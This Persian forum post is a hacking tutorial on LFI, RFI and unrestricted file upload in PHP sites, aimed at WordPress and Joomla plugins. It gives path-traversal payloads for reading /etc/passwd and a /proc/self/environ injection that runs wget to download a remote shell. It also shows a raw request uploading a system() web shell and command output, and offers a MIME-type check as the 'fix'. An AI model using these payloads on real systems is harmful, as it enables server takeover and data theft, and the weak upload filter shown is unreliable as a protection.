discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

باگ lfi و rfi چیست؟

Lfi چیست : Lfi یا Local File Inclusion یک نوع دسترسی محلی به ما برای مشاهده ی فایل های سرور مورد نظر رو میده. باگ Lfi بیشتر در اشتباهات برنامه نویس در استفاده از توابعی مثل Include ,require() و غیره رخ میده.
با استفاده از این باگ حرکت های زیادی میشه کرد از جمله :

تبدیل آن به اجرای دستورات از راه دور با استفاده از گزارش های Apache
خواندن فایل های مهم سیستمی با فایل های config

Rfi : این باگ با بی احطیاتی برنامه نویس در استفاده از توابع Include و … به وجود میاد.
در اصل این توابع فایل یا صفحه ای رو فراخوانی میکنن که اگر روی این درخواست کنترولی نباشه میتونه مونجر به باگ Rfi یا حتی Lfi بشه.

بعد از پیدا کردن باگ میرسیم به خوانده فایلهای مهم مثل : etc/passwd که اکثرا به شکل زیر می باشد :

 

////etc/passwd%00 Or etc/;cat passwd%00 

و در صورت دادن خطا به جای cat از کاراکترهای more , less , … استفاده نمائید.

نحوی آپلود شل :
به جای etc/passwd عبارت proc/self/environ%00 را وارد نمائید و سپس :
 

 ../../../../../../../../../../../../../../../proc/self/environ%00&cmd=wget http://shelinizinadresi.com/tools/bd/fxshell.txt -O scroll.php 

بعد از wget مسیر شل رو بهش میدید

اکثر این باگ ها در میان پلاگینهای Joomla , وردپرس پیدا میشه .

نمونه کدی که باعث ایجاد چنین باگی میشه :
 

echo "<b><br><br>" php_uname() . "<br></b>";
echo 
"<form action='' method='post' enctype='multipart/form-data' name='uploader' id='uploader'>";
echo 
"<input type='file' name='file' size='50″><input name='_upl' type='submit' id='_upl' value='Upload'></form>";
if (
$_POST['_upl'] == "Upload") {
    if (@
copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
        echo 
"<b>Upload!!!</b><br><br>";
    } else {
        echo 
"<b>Upload !!!</b><br><br>";
    }

نحوه شناسایی باگ LFI در کد های PHP و تشخیص آسیب پذیری برای هک سایت

بخش اول – تشخیص آسیب پذیری :

این باگ در کدهای دیده میشود که درخواست فراخوانی یک فایل رو دارند. همونطور که از اسمش هم پیداست اجازه ی دسترسی به فایلهای روی سرور رو به ما میدهد که این فایل ها ممکنه که اطلاعات مهم و حساسی رو در خودشون ذخیره کرده باشند.

برای شروع کد PHP زیر رو در نظر بگیرید
 

<?php $page $_GET[page]; include($page); ?>

برسی کد:
در این کد ساده یه متغییر تعریف شده و سپس از طریق پروتکل HTTP و با دستور GET (برای گرفتن مقدار از طریق URL) مقدار دهی میشه و در انتها با Include که یکی از توابع فراخوانی در PHP هست فراخوانی شده .
اینجا باید این مطلب رو اضافه کنم که علاوه بر تابع Include از توابع زیر نیز برای فراخوانی یک فایل در زبان PHP استفاده میشود
 

Include_Once Require Require_once virtual 

برای تست آسیب پذیری باگLFI باید موارد زیر رو در کد PHP موجود چک کنیم:

1- یکی از توابع ذکر شده بالا در آن وجود داشته باشد.
2- در داخل یکی از توابع بالا متغییر وجود داشته باشد.
3- متغییر از طریق پروتکل HTTP قابل مقدار دهی باشد.
4- شرایط لازم برای رسیدن به خط تابع موجود باشد.

خوب می بینیم که در کد بالا تمامی موارد موجود هست:

1- وجود تابع Include
2- وجود متغییر $page
3- مقدار دهی به متغییر از طریق GET
4- تابع در اول برنامه فراخوانی میشود و قبل از آن چیزی وجود ندارد تا مانع اجرای تابع شود.

اما در مقابل به این کدها توجه کنید :

 

Exam1: <?php Include (“cloob.com/page.php”); ?>

در این مثال هیچ گونه متغییری تعریف نشده است، یعنی شروط ما رعایت نشده است بنابراین این کد آسیب پذیر نیست .

 

$filename preg_replace("/[^a-z0-9A-Z]/","",$_GET['lang']); include("lang/" $filename ".php"); 

در مورد این مثال، خوب متغییرکه تعریف شده ، از Include هم که استفاده شده ولی دقت کنید که در خط قبلی متغییر ورودی را ف_ی_ل_ت_ر کرده است به این معنا که هرچه از طریق GET مقدار داده شود آنالیز شده و هر کاراکتری غیر از A-Z a-z 0-9 وجود داشته باشد رو حذف میکنه ، پس از این کد هم نمیتوان استفاده کرد.(این یک نمونه کد امن شده میباشد./
آموزش باگ LFI و نحوه پچ آن در خدمت شما هستم…

همونطور که می دونید این باگ شبیه به باگ RFI هست با این تفاوت که باگ LFI ضریب خطر کمتری نسبت به RFI داره اما بازهم می تونه بسیار خطرناک باشه… مثلا می شه یوزر های سرور رو فهمید و بروت فورس کرد و یا این باگ رو به باگ RCE تبدیل کرد و… که خودتون بهتر می دونید…

اما چگونگی بوجود آمدن این باگ به اونجایی برمی گرده که برنامه شما درخواست یک صفحه رو از url می گیره که این صفحه محدود به خود سرور هست… پس نمی شه از یه سرور دیگه فایل تزریق کرد…

کد زیر را در نظر داشته باشید:

 

$page=$_GET['page'];
include 
"/pages/".$page

 

این کد در نظر اول خیلی معمولی به نظر می آد و هیچ مشکلی نداره!! اما وقتی در مرورگر آدرس زیر وارد بشه قضیه فرق می کنه:

 

http://example.com/index.php?page=…../../etc/passwd

با این کد نفوذگر به راحتی می تونه به فایل حاوی یوزرها دسترسی پیدا کنه و اون رو بخونه برای بروت فورس !!!

همونطور که می دونید باگ lfi باگی هست که شما می تونید فایلهای داخل سرور رو بخونید با دستورات جابجایی بین پوشه های لینوکس و همینطور که می دونید برای بازگت به پوشه های قبل باید از کاراکتر های ” . ” و ” / ” استفاده کرد

حالا اگه ما بیایم و از وارد شدن این کاراکتر ها جلوگیری کنیم مشکل می تونه حل بشه !

مثال:

 

$pagina=$_GET['page'];

$page=Replace($page".""");
$page=Replace($page"/""");
include 
"/pages/".$page

دوستان این یک نمونه هست که میشه داده های ورودی رو فیلتر کرد… اگه خلاقیت باشه و فکر می شه خیلی راحت نمونه های بیشتری رو بکار برد…

همونطور که مي دونيد اغلب وب سايتها امکان آپلود فايل دارند و اين يعني اينکه کاربر مي تونه فايل هاي خودش رو برروي سرور انتقال بدهد… و اگه موارد امنيتي بدرستي رعايت نشه مي تونه فاجعه باشه!

به طور مثال کد زير قطعه کدي است براي آپلود فايل سيستم به سرور:

 

$uploaddir "uploads/"// Relative path under webroot
$uploadfile $uploaddir basename($_FILES['userfile']['name']);
if (
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo 
"File is valid, and was successfully uploaded.\n";
} else {
echo 
"File uploading failed.\n";
}  

که فايل ها رو که از سمت کاربر آمده در مسير مربوطه قرار مي ده… قطعه کد زير نيز کدي است که در سمت کاربر فايل رو براي سرور مي فرسته:

 

 

 
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
 

با بررسي کد بالا در پي مي بريم که بدون هيچ ***** و کنترلي فايل برروي سرور انتقال ميابد… حال فرض کنيد اين فايل يک فايل php که حاوي کدهاي مربوط به شل کد هست باشه! نتيجه اينکه نه تنها سايت خودتون بلکه سرور هم دودستي در اختيار نفوذگر قرار داديد…

همونطور که قبلا هم گفتم کد بالا یک کد آپلود ساده بدون اعمال هیچ فیلتری است… پس به راحتی می توان شل خودمون رو آپلود کنیم…

اما حالا وقتی که ما این شل را به سمت سرور ارسال می کنیم چه اتفاقی می افته؟؟ هدر ارسال شده رو می بینیم:

 

 POST /upload1.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Length: 156 Content-Type: multipart/form-data; boundary=xYzZY –xYzZY Content-Disposition: form-data; name=”userfile”; filename=”shell.php” Content-Type: text/plain <?php system($_GET['command']); ?> –xYzZY– HTTP/1.1 200 OK Date: Wed, 13 Jun 2007 1232 GMT Server: Apache X-Powered-By: PHP/4.4.4-pl6-gentoo Content-Length: 48 Connection: close Content-Type: text/html File is valid, and was successfully uploaded.

 

بله همونطور که انتظار می رفت سرور تایید کرده… که بعد از اجرای این کد بصورت زیر می توان به اعمال هکری خود پرداخت:

 

http://localhost/uploads/shell.php?command=id uid=81(apache) gid=81(apache) groups=81(apache)

اولین مرحله از فیلتر گذاری رو می خوام کار کنیم… در این مرحله اسکریپت چک می کنه که محتویات فایل چی هست و در واقع در این نوع فیلتر گذاری نوع فایل رو مورد بررسی قرار می دیم. برای مثال اگه سیاست سایت ما فقط برای آپلود تصاویر باشه ما در کد این نوع فایل رو اجازه دسترسی میدیم…

کد زیر کد فیلتر گذاری شده بر این نوع هست که فقط به نوع تصویر اجازه آپلود شدن می دهد:

 

 if($_FILES['userfile']['type'] != "image/gif") {

        echo "Sorry, we only allow uploading GIF images";
        exit;
    }
    
    
$uploaddir "uploads/";
    
$uploadfile $uploaddir basename($_FILES['userfile']['name']);
    if (
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        
        echo 
"File is valid, and was successfully uploaded.\n";
        

به قسمت اول این کد توجه کنید:
 

if($_FILES['userfile']['type'] != "image/gif") {

echo "Sorry, we only allow uploading GIF images";
exit; 

همونطور که متوجه شدید در این قسمت کد چک می کنه که ساختار فایل image/gif اینجوری باشه و اگر غیر از این بود از آپلود ممانعت به عمل میاد…

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری